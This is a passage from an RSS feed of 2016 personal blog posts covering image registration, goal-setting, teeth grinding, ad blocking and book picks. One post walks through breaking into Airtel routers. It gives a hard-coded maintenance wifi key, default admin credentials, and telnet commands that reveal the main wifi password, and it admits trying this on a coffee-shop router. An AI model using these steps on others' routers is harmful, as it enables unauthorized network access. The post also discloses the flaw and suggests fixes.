&lt;p&gt;So rotation in the log-polar space manifests as a cyclic shift of the columns of pixels. This makes sense because the units of the &lt;code class="prettyprint"&gt;X&lt;/code&gt; axis in the images is no longer &lt;code class="prettyprint"&gt;X&lt;/code&gt; but the angle of rotation. So pixels on the same angle in the original image (from some center) map to a horizontal line in log-polar space. Similarly pixels on the same radial are mapped to vertical lines &lt;code class="prettyprint"&gt;Y&lt;/code&gt;. Another interesting point about this transform is the use of the logarithm. This effectively squashes the bottom rows of the transformed images. Look at the number of pixels dedicated to the text “Forint” compared to the number of pixels dedicated to the center of the images. This mimics the function of the fovea in the human eye and dedicates more resolution to the area in focus which is useful in a number of images tracking applications.  &lt;/p&gt;

&lt;p&gt;So once we have located the template in the background image we can can use the Fourier shift theorem which tells us that a linear shift in phase manifests as cyclic shift in the Fourier domain. Now we have a way to register two images and compute the translation, rotation and scale factor between them using the following function. Using this information we can detect and count all coins in the image (including the rotated ones) and discount coins that aren’t an authentic size. There are limitations to this method though for example because of the symmetry of the Fourier transform we can only detect a limited range and resolution of scale and rotation. There are more complicate methods that extend it though but thankfully their weren’t needed in this case. &lt;/p&gt;

&lt;p&gt;Image registration using spectral methods is really fast and commonly used to align where there is known to be an affine transform between the images. More complex methods are needed to where there is a perspective transform between the two images which will be the topic of an upcoming blog post. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://svbtleusercontent.com/jxowtkoxrbbmg.png"&gt;&lt;img alt="6.png.progress13.png" src="https://svbtleusercontent.com/jxowtkoxrbbmg_small.png" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Nicholas Pilkington</author><pubDate>Mon, 16 May 2016 03:41:36 GMT</pubDate><guid isPermaLink="true">https://nickp.svbtle.com/counting-money</guid></item><item><title>Give it 30 days</title><link>https://josh.works/growth/2016/05/16/give-it-30-days/</link><description>&lt;p&gt;Do you have any big audacious goal you want to accomplish?&lt;/p&gt;

&lt;p&gt;If you think back to Jan 1, 2016, what were your goals?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Lose weight/get in shape&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Make more money/start budgeting&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Learn a language&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Learn a skill&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Read more&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Stop doing something (smoking, drinking)&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Statistically, all of these efforts failed within the first few weeks of 2016.&lt;/p&gt;

&lt;p&gt;I believe that May 16th, 2016, is a far better day for a SHORT exploratory period of a goal.&lt;/p&gt;

&lt;h2 id="you-wont-complete-bad-goals"&gt;You won’t complete bad goals&lt;/h2&gt;

&lt;p&gt;None of the items in the above list meet the
&lt;a href="https://en.wikipedia.org/wiki/SMART_criteria"&gt;criteria of a good goal&lt;/a&gt;. A good goal needs to be:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Specific&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Measurable&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Assignable&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Realistic&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Time-related&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;(See the acronym those words make? SMART. heh)&lt;/p&gt;

&lt;p&gt;A nice time-period for me is a month.&lt;/p&gt;

&lt;p&gt;I can do something regularly for a month, and I am
way more motivated to give it a good go than think to myself “well, today’s the first day of a new thing that I want to do, and I’m going to do it
every day for the rest of my life.&lt;/p&gt;

&lt;p&gt;(Easy example is right now I’m publishing something every day. For a month. I’m about half way through. No way I would be motivated to stick with this for a year, or the rest of my life)&lt;/p&gt;

&lt;h2 id="failure-to-keep-a-goal-provides-valuable-insight"&gt;Failure to keep a goal provides valuable insight&lt;/h2&gt;

&lt;p&gt;If most Americans have a New Years resolution, you can be sure that most of
those Americans then guilt themselves some time later about not actually completing the resolutions.&lt;/p&gt;

&lt;p&gt;They shouldn’t. We have a powerful sense of inertia in our life, and this keeps us powering through the day-to-day without any major problems. It’s a
good thing that we can’t rewrite our habits quickly or easily. It’s just also a frustrating thing.&lt;/p&gt;

&lt;p&gt;Don’t be frustrated that your habit didn’t stick. Press into that frustration and dig into “why did the habit not stick?”.
&lt;a href="/intentional-habit-building"&gt;I’m of the opinion that habits only work if you make it really really easy to keep the habit&lt;/a&gt;, but this front-loads the effort of making a new habit, which is hard.&lt;/p&gt;

&lt;p&gt;Plan on failing. Since failure provides information, don’t beat yourself up over it, just regroup, re-evaluate, and give it another go.&lt;/p&gt;

&lt;h2 id="time-boxing-lets-you-makes-you-decide-where-you-want-to-be-in-a-month"&gt;Time-boxing lets you (makes you?) decide where you want to be in a month&lt;/h2&gt;

&lt;p&gt;I’ve been trying to learn French recently, and trying to improve my Spanish. It’s not plausible to do these simultaneously, and “improve my {language}” is a
terrible goal.&lt;/p&gt;

&lt;p&gt;So, today, I told my French-speaking language buddy I needed to postpone our next session by a month, so I could spend time on Spanish. Then, in a month, I’ll take a few days of a “break”, and move back into French mode.&lt;/p&gt;

&lt;p&gt;This makes me feel
very motivated to make progress in Spanish, because I’m “time boxed”, and once this month is through, it’ll be at least another six weeks before I practice my Spanish again.&lt;/p&gt;

&lt;p&gt;So, I’m going to work on Spanish for 30 days. Coming soon is “How I find native Spanish speakers to practice with.” (It has nothing to do with being in a Spanish speaking country)&lt;/p&gt;

&lt;h3 id="related"&gt;Related&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="/intentional-habit-building"&gt;Intentional Habit Building&lt;/a&gt; (By me)&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Mon, 16 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/05/16/give-it-30-days/</guid></item><item><title>Insecure Airtel wifi routers with MGMNT ssid</title><link>https://shyamjos.com/hacking-airtel-wifi-router-for-fun-and-profit/</link><description>&lt;p&gt;Some of the wifi routers (especially beetel models) provided by airtel broadband is paired with two SSIDs(Access point), One is an actual SSID for internet access and another one called MGMNT, which is used by airtel for maintenance / automatic configuration.
The default key for MGMNT is &lt;code&gt;0987654321&lt;/code&gt;, which is hard-coded into the router&amp;rsquo;s firmware and the stupidest part is there is no option to disable it.&lt;/p&gt;
&lt;p&gt;






 
 
&lt;figure&gt;&lt;img alt="password meme" class="mx-auto my-0 rounded-md" src="https://shyamjos.com/assets/img/airtel/hardcoded-password-meme.jpg" /&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Now lets start hacking!, Connect to MGMNT SSID with the key &lt;code&gt;0987654321&lt;/code&gt;.
Then Navigate to &lt;code&gt;192.168.1.1&lt;/code&gt; in your browser and login with the default credentials username: admin and password: password
If you are lucky now you can see a network status page (view only)&lt;/p&gt;
&lt;p&gt;In recent models airtel patched a vulnerability that allows an attacker to view/change the password of the main SSID by connecting to MGMNT and browsing to the URL : &lt;code&gt;http://192.168.1.1/basic/home_wlan.htm&lt;/code&gt;.Since the router i am testing was running on a patched firmware, it didn&amp;rsquo;t worked.&lt;/p&gt;
&lt;p&gt;So the next option was Telnet, I was able to telnet into the router with the credentials admin/password.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Telnet 192.168.1.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;






 
 
&lt;figure&gt;&lt;img alt="hacking router" class="mx-auto my-0 rounded-md" src="https://shyamjos.com/assets/img/airtel/wifi-router-hacking.png" /&gt;&lt;figcaption class="text-center"&gt;Airtel router telnet&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Bingo! after playing with telnet for sometime I found the password for main SSID by typing the command:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;show wlan config
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;






 
 
&lt;figure&gt;&lt;img alt="router password" class="mx-auto my-0 rounded-md" src="https://shyamjos.com/assets/img/airtel/airtel-wifi-password.png" /&gt;&lt;figcaption class="text-center"&gt;hacking airtel wifi password&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;I was also able to hack another airtel router in a coffee shop with my andriod phone using &lt;a href="https://play.google.com/store/apps/details?id=jackpal.androidterm&amp;amp;hl=en" rel="noreferrer" target="_blank"&gt;terminal emulator app&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;






 
 
&lt;figure&gt;&lt;img alt="router hacking" class="mx-auto my-0 rounded-md" src="https://shyamjos.com/assets/img/airtel/airtel-wifi-android-hacking.png" /&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;airtel patched vulnerability in web interface but forgot to patch telnet service which is accessible through the MGMNT ssid , An attacker can use the default user account which has full privilege to view and modify router configuration via telnet.&lt;/p&gt;
&lt;h2 class="relative group" id="how-to-disable-mgmnt-ssid-"&gt;How to disable MGMNT ssid ? &lt;span class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100"&gt;&lt;a class="group-hover:text-primary-300 dark:group-hover:text-neutral-700" href="#how-to-disable-mgmnt-ssid-"&gt;#&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;Currently there is a workaround for this problem, by modifying the router configuration backup file and restoring it back.Please see this &lt;a href="http://superuser.com/questions/449289/how-to-prevent-wifi-router-from-broadcasting-multiple-ssids/925810#925810" rel="noreferrer" target="_blank"&gt;stackoverflow answer&lt;/a&gt;.Also change your router&amp;rsquo;s default password as soon as possible.&lt;/p&gt;</description><author>Shyam Jos</author><pubDate>Mon, 16 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://shyamjos.com/hacking-airtel-wifi-router-for-fun-and-profit/</guid></item><item><title>Cheap fix to night-time teeth grinding</title><link>https://josh.works/misc/2016/05/15/fix-night-time-teeth-grinding/</link><description>&lt;p&gt;A few years ago, I found out I grind me teeth at night.&lt;/p&gt;

&lt;p&gt;Kristi says it sounds like I’m chewing marbles.&lt;/p&gt;

&lt;p&gt;Others who grind their teeth give themselves headaches, or wake themselves up at night.&lt;/p&gt;

&lt;p&gt;You can’t really stop yourself from grinding your teeth, since you’re asleep.&lt;/p&gt;

&lt;p&gt;You 
can stop chewing gum, and try to be less stressed, but the go-too solution for teeth-grinders is a mouth guard.&lt;/p&gt;

&lt;p&gt;Custom mouth guards are expensive and uncomfortable.&lt;/p&gt;

&lt;p&gt;Over the counter mouth guards fall into two categories:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Bulky mouth guards that you soak in boiling water and then fit to your teeth. I tried two of these, and found them to not be that comfortable, AND I bit through BOTH of them after a week or two. Whoa.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Low profile mouth guards that are basically like magic. I use the 
&lt;a href="http://www.amazon.com/Plackers-Mouth-Guard-Grind-Night/dp/B004TD23W2/ref=cm_cr_arp_d_product_top?ie=UTF8"&gt;Plackers Mouth Guard Grind No More&lt;/a&gt;* exclusively now. Supposedly they are disposable, but I use them for a few months at a time. They have very little texture, so they’re easy to clean/don’t get smelly, and they’re small and flexible, so they take up very little space in a toiletry kit. &lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And, as a bonus, they are comfortable, and don’t impede my talking.&lt;/p&gt;

&lt;p&gt;They’re cheap as dirt (you can buy them one-at-a-time in a pharmacy, for $1.20 or so), and if you try them and 
don’t like them, you’ve lost nothing.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.amazon.com/Plackers-Mouth-Guard-Grind-Night/dp/B004TD23W2/ref=cm_cr_arp_d_product_top?ie=UTF8"&gt;Give ‘em a shot&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;*I don’t do affiliate links. Just trying to share useful things.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sun, 15 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/misc/2016/05/15/fix-night-time-teeth-grinding/</guid></item><item><title>2016-05-15</title><link>https://ho.dges.online/pictures/2016-05-15/</link><description/><author>ho.dges.online</author><pubDate>Sun, 15 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-05-15/</guid></item><item><title>My all-time favorite question to ask people (and why you should ask it too)</title><link>https://josh.works/growth/2016/05/14/my-favorite-question/</link><description>&lt;p&gt;I met two people yesterday from Colorado, while in Spain. We climbed together yesterday and today, and Kristi and I had dinner with them.&lt;/p&gt;

&lt;p&gt;Half way through the meal, I asked my all-time favorite question:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;If you could go back to twenty five year old you, and tell yourself anything, knowing it was coming from future you, what would you say? (And where were you living/what were you doing as a twenty five year old.)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I’ve asked this of probably a hundred people, and 
always get an interesting answer.&lt;/p&gt;

&lt;p&gt;Want to know why I’m asking?&lt;/p&gt;

&lt;p&gt;I’m 27. Having 100 people reflect on what they’d tell a younger version of themselves is a pretty good way to learn things.&lt;/p&gt;

&lt;p&gt;Now, I don’t recall many specific answers. Usually it segways into a larger conversation. Few people have concise, ready answers.&lt;/p&gt;

&lt;p&gt;But if I did have a ready-made list of answers that were really insightful and a little irrelevant, I think it would look a lot like this list: 
&lt;a href="https://medium.com/life-learning/40-things-about-life-i-wish-i-could-travel-back-in-time-and-tell-myself-e52f2effa3ab#.vm6s6w33h"&gt;40 things about life I wish I could travel back in time and tell myself&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;How about you?&lt;/p&gt;

&lt;p&gt;If you could tell your twenty five year old self anything, what would it be? (If you’re younger than twenty eight, the question changes to “if you could tell your twenty 
one year old self anything…”)&lt;/p&gt;

&lt;h2 id="you-should-ask-this-question-of-those-around-you"&gt;You should ask this question of those around you&lt;/h2&gt;

&lt;p&gt;This is a weighty question. Usually, when I ask someone, they say “hm. That’s a good question…” and then they’re quiet for a moment. They think, a lot. And their answer paves the way to great conversation, in addition to being useful in its own right.&lt;/p&gt;

&lt;p&gt;Sometimes they thank me for the question. It’s a good way to show someone that you’re listening to them, and interested in them. These are good things.&lt;/p&gt;

&lt;h2 id="related"&gt;Related&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.amazon.com/Never-Eat-Alone-Expanded-Updated-ebook/dp/B00H6JBFOS?ie=UTF8&amp;amp;btkr=1&amp;amp;redirect=true&amp;amp;ref_=dp-kindle-redirect"&gt;Never Eat Alone&lt;/a&gt; by Keith Ferrazzi. People are good, you should learn from them and enjoy yourself around them. This book will teach you how. It taught me how.&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Sat, 14 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/05/14/my-favorite-question/</guid></item><item><title>Hack, HHVM and avoiding the Second-system effect</title><link>https://bytepawn.com/hack-hhvm-second-system-effect.html</link><description>&lt;p&gt;I read this book on my first vacation after I started working at Facebook and thus became a semi-regular &lt;a href="http://hhvm.com/"&gt;Hack/HHVM&lt;/a&gt; user. I highly recommend reading (parts of) it. But not to learn Hack/PHP, which is irrelevant to most people. Instead, it’s to learn about how Facebook improved it’s www codebase and performance without rewriting the old PHP code in one big effort, and thus avoided the famous Second-system effect.&lt;br /&gt;&lt;br /&gt;&lt;img alt="Hack book" src="/images/hack_book.jpg" /&gt;&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Sat, 14 May 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/hack-hhvm-second-system-effect.html</guid></item><item><title>How to never accidentally click Twitter's "Moments" again (and to block anything else on the internet you don't want to deal with) - with uBlock</title><link>https://josh.works/misc/2016/05/13/how-to-never-accidentally-click-twitters-moments-again-and-to-block-anything-else-on-the-internet-you-dont-want-to-deal-with/</link><description>&lt;p&gt;Do you use Twitter’s “Moments” tool, or do you just find it really annoying?&lt;/p&gt;

&lt;p&gt;Most people find it annoying. Here’s how to get rid of Twitter’s “Moments” forever:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;0. Be won over to using an ad blocker on the internet.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;They don’t block just ads, but malicious scripts and bandwidth-hogging junk. I’m a huge fan, 
&lt;a href="http://lifehacker.com/5649025/why-you-should-use-adblock-plus-even-if-you-dont-block-ads"&gt;so is Lifehacker&lt;/a&gt;. 
&lt;a href="http://thisinterestsme.com/adblock-bad-thing-people-use-selfish/"&gt;Others are not&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Install uBlock Origin.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here’s links for 
&lt;a href="https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm/reviews?hl=en"&gt;Chrome&lt;/a&gt;, 
&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/"&gt;Firefox&lt;/a&gt;, and… the jury is still out for a good ad blocker for Safari.&lt;/p&gt;

&lt;p&gt;Already using AdBlock Plus? “uBlock is lighter/quicker than ABP” - 
&lt;a href="http://lifehacker.com/ublock-is-a-fast-and-lightweight-alternative-to-adblock-1625246461"&gt;Lifehacker&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(There’s a big kerfuffle about uBlock vs. uBlock Origin. I just 
&lt;a href="https://www.reddit.com/r/ublock/comments/32mos6/ublock_vs_ublock_origin/"&gt;trust the internet&lt;/a&gt; and went with uBlock Origin.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Click the uBlock icon, and click the eye dropper tool.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The tool label is “Enter Element picker mode”&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt;
&lt;strong&gt;Move the element picker to the 
entire “Moments” section.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;(Not just the text or the icon)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Click it (or any section of the page you want to hide)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You know you want to. You won’t break anything. Once you click it - the thing you clicked? It’s GONE!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. On the tooltip that pops up in the bottom right of your screen, mouse over it, and click “create”&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here’s a gif of using uBlock:&lt;/p&gt;

&lt;p&gt;&lt;img alt="A gif of using uBlock" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_573650c320c6471cf05bf50c_1463177445503_gif1.gif_" /&gt; A gif of using uBlock&lt;/p&gt;

&lt;p&gt;If you make a mistake, no sweat. Right click on the uBlock icon&amp;gt;options&amp;gt;my filters&amp;gt;delete the rule you don’t want&amp;gt;apply changes&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5736511b4d088e9a0cbe36a8_1463177533310__img.gif_" /&gt;&lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p&gt;Done! Never get frustrated clicking into “Moments” again!&lt;/p&gt;

&lt;p&gt;You can use it elsewhere, too.&lt;/p&gt;

&lt;p&gt;For example, email “subscribe now” popups can get annoying.&lt;/p&gt;

&lt;p&gt;I’ve subscribed to a newsletter (
&lt;a href="http://kopywritingkourse.com/blog/"&gt;Kopywriting Kourse&lt;/a&gt;, if you must know), and when I click a link in the emails I receive, I get more popups asking me to join the newsletter! So, I use uBlock to permanently hide the popup:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Bock annoying " src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_573652bd07eaa0bc96fe9b65_1463177931340_How_to_write_an_app_store_description__lessons_learned_from_scraping_the_Top_100_FREE_and_PAID_iOS_app_descriptions______Kopywriting_Kourse.jpg_" /&gt; Bock annoying “subscribe now” popups. &lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p&gt;That’s all. Hopefully this is useful!&lt;/p&gt;

&lt;p&gt;PS: The controversy about ad blockers makes me think about advertising as a huge mis-allocation of resources for modern man. I’ll expand on this some day.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Fri, 13 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/misc/2016/05/13/how-to-never-accidentally-click-twitters-moments-again-and-to-block-anything-else-on-the-internet-you-dont-want-to-deal-with/</guid></item><item><title>The blinking cursor and the hot towel</title><link>http://dimitarsimeonov.com/2016/05/13/the-blinking-cursor-and-the-hot-towel</link><description>&lt;p&gt;I was just getting in my terminal when I noticed that the cursor was
not blinking.&lt;/p&gt;

&lt;p&gt;C’moon! I can work with a non-blinking cursor. When a
cursor blinks it sets up the pace. I keep moving as the cursor blinks.
It is hypnotizing. I can leave my thoughts behind and operate in a
state of flow.&lt;/p&gt;

&lt;p&gt;The blinking cursor is easy to see. I don’t need to look for the white
rectangle. I can spot it much easier even when I’m not focused on the
screen. It is the only thing moving and changing.&lt;/p&gt;

&lt;p&gt;But most of all, I’m used to it. It doesn’t matter that much that it
is easier to notice and that it sets the pace. Those are nice features
of the cursor, but they are not essential. The essential thing about
the blinking cursor is that it puts me in a &lt;em&gt;familiar&lt;/em&gt;
environment. There, I don’t spend extra effort trying to find my
bearings. I can then think about the purpose at hand.&lt;/p&gt;

&lt;p&gt;The familiar blinking cursor is comforting. When I am trying to
develop a new habit, having that extra familiarity and comfort
counts.&lt;/p&gt;

&lt;p&gt;Developing new habits is one of the hardest problems I’ve seen. It is
harder than solving math problems, or constructing proofs. It is
harder than writing code and doing data science. Because there is no
single solution and no way to know if a solution will work. The only
thing I can do is to try different strategies for habit formation. The
Internet is full of advice but most of it doesn’t generalize well.&lt;/p&gt;

&lt;p&gt;When I first start a new habit, I have motivation. I stick to the
habit for a while, until I forget about motivation. Then, the real
test for my approach begins. If I have picked an exciting habit, or a
habit which makes me feel better, I’ll be more likely to stick to
it. If I’ve picked an easy habit, which doesn’t take much time to do,
I’ll be more likely to stick to it. But if I’ve attempted a harder
habit, I’m more likely to abandon it.&lt;/p&gt;

&lt;p&gt;Having discomfort is a hindrance to the habit formation. But having
additional comfort, or reward can foster the new habit. The blinking
cursor is calming and provides mental comfort, but it hardly gives any
reward. As I am trying to build my writing habit, it helps to have the
comfort but it is not enough. Completing an essay is super fun and
rewarding, but I don’t complete a new essay every time I write.&lt;/p&gt;

&lt;p&gt;Recently, I developed the habit of shaving every morning. I gave my
self a “pleasure boost” as a part of the shaving. The pleasure came
from a hot towel, which I used to clean my face and soften my facial
hair. I’m sleepy in the morning, and the hot towel is refreshing and
wakes me up. It feels amazingly good! And I feel awake and energized
after that. This sends a strong reinforcement signal to shave
every morning. It was one of the easiest habits I’ve developed.&lt;/p&gt;

&lt;p&gt;I want to write a lot more essays. I feel pumped and pround after I
finish an essay. But if I write a half-essay, I don’t feel
half-pumped. I feel at base level. I have a comforting environment,
with blinking cursors, spell check, weasel word check and other nice
tools which point out complicated sentences.&lt;/p&gt;

&lt;p&gt;I don’t have a hot towel for writing… yet.&lt;/p&gt;</description><author>D13V</author><pubDate>Fri, 13 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2016/05/13/the-blinking-cursor-and-the-hot-towel</guid></item><item><title>Find out how much money you've made (in your entire life)</title><link>https://josh.works/find-out-how-much-money-youve-made</link><description>&lt;p&gt;&lt;a href="https://www.reddit.com/r/personalfinance/comments/4iwo4v/us_find_out_how_much_you_have_earned_in_your/"&gt;This post&lt;/a&gt; went by on the Personal Finance subreddit today:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;https://www.ssa.gov/myaccount/&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;After creating an account / logging in, click on Earnings, then add the columns. If you have been working for many years, try copying/pasting the column in excel and using the sum function.&lt;/p&gt;

  &lt;p&gt;The numbers don’t list money not reported to the government, obviously. I don’t know if the numbers are before or after taxes.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You’ll come up with a number of how much you’ve earned in your lifetime. Reduce that by 25% to account for taxes.&lt;/p&gt;

&lt;p&gt;This is your lifetime earnings, as reported to the Feds.&lt;/p&gt;

&lt;p&gt;You might feel many emotions rolling through you as you see this number.&lt;/p&gt;

&lt;p&gt;In response to these many emotions, read
&lt;a href="http://www.amazon.com/Your-Money-Life-Transforming-Relationship/dp/0143115766/ref=sr_1_1?ie=UTF8&amp;amp;qid=1463059751&amp;amp;sr=8-1&amp;amp;keywords=your+money+or+your+life"&gt;Your Money Or Your Life&lt;/a&gt;. This book will help you process those emotions.&lt;/p&gt;

&lt;p&gt;(Also, with this number in hand, you’ll have done the hardest bit of homework in that book, which is “calculate life-time earnings”.)&lt;/p&gt;

&lt;p&gt;Here’s the book again:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.amazon.com/Your-Money-Life-Transforming-Relationship/dp/0143115766/ref=sr_1_1?ie=UTF8&amp;amp;qid=1463059751&amp;amp;sr=8-1&amp;amp;keywords=your+money+or+your+life"&gt;Your Money Or Your Life&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Thu, 12 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/find-out-how-much-money-youve-made</guid></item><item><title>The Slight Edge, and why you should read it</title><link>https://josh.works/growth/2016/05/11/the-slight-edge-and-why-you-should-read-it/</link><description>&lt;p&gt;I read
&lt;a href="http://www.amazon.com/Slight-Edge-Turning-Disciplines-Massive/dp/193594486X"&gt;The Slight Edge&lt;/a&gt; a few months ago.&lt;/p&gt;

&lt;p&gt;Since then, it’s been the book I recommend most often to most people. (I don’t make book recommendations willy-nilly, but if something seems relevant to what the person I’m speaking to is experiencing/thinking about, I make a recommendation.)&lt;/p&gt;

&lt;p&gt;I joyfully recommend other books about career advice, money management, exercise, and I love fiction, so I’ve always got a bunch of those ready to recommend too, but usually
The Slight Edge is the most appropriate recommendation.&lt;/p&gt;

&lt;p&gt;I wish I could recommend the Kindle version of the book, but… I can’t. :(&lt;/p&gt;

&lt;p&gt;Jeff Olson wrote the first version maybe ten years ago. It was a massive success. So, recently, he wrote an “updated” version, that basically spends half the book explaining how good the ideas in the first version are, and all the spin-off books, conferences, etc that have come from it.&lt;/p&gt;

&lt;p&gt;The content of the most recent version is still
good, it’s just filled with tons of fluff that doesn’t need to be there.&lt;/p&gt;

&lt;p&gt;Go compare the Amazon reviews of the
&lt;a href="http://www.amazon.com/Slight-Edge-Turning-Disciplines-Massive/dp/193594486X"&gt;first version&lt;/a&gt; to those of the
&lt;a href="https://www.amazon.com/Slight-Edge-Turning-Disciplines-Happiness-ebook/dp/B00GDKN3T6?ie=UTF8&amp;amp;keywords=the%20slight%20edge&amp;amp;qid=1462964407&amp;amp;ref_=sr_1_1_ha&amp;amp;s=digital-text&amp;amp;sr=1-1"&gt;second version&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Even the 2nd version has an 88% rate of five stars, out of about 1000 reviews, so not too shabby, but feel free, if you read it, to skip the bits that you don’t want to read.&lt;/p&gt;

&lt;p&gt;Here’s the premise of the book:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Small actions, taken every day, compound. They compound in a way that hurts you, or in a way that helps you. Progress may seem nonexistent, but take joy in the small beneficial “slight edge” actions you can take, and over time, you’ll have something great. Conversely, if you take the slightly easier option of many small harmful (or neutral) decisions every day, over time these compound against you and your health, relationships, finances, etc.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Go read the book. The original edition costs $7 + shipping
&lt;a href="http://www.amazon.com/Slight-Edge-Turning-Disciplines-Massive/dp/193594486X"&gt;via Amazon&lt;/a&gt; (I don’t do affiliate links, by the way.) and you can read it over the next month. That’s about 10 minutes of reading a day.&lt;/p&gt;

&lt;p&gt;I referenced this book when I wrote that &lt;a href="/everything-i-do-and-think-ive-read-in-a-book"&gt;Everything I do and think I’ve read in a book&lt;/a&gt;, and how the mentality outlined in this book trickle down through every part of your life, 
whether you are aware of it or not.&lt;/p&gt;

&lt;p&gt;Read it.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://www.amazon.com/Slight-Edge-Turning-Disciplines-Massive/dp/193594486X"&gt;Here’s the link again&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 11 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/05/11/the-slight-edge-and-why-you-should-read-it/</guid></item><item><title>Touring the United States and Canada</title><link>https://ben.bolte.cc/posts/2016-05-11-usa</link><description>Narration from my trip through Nashville, Chicago, Toronto, Montreal, and Washington DC.</description><author>Ben Bolte</author><pubDate>Wed, 11 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ben.bolte.cc/posts/2016-05-11-usa</guid></item><item><title>Links - May 11th, 2016</title><link>https://faingezicht.com/links/2016/05/11/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 11 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/05/11/links/</guid></item><item><title>Anvil 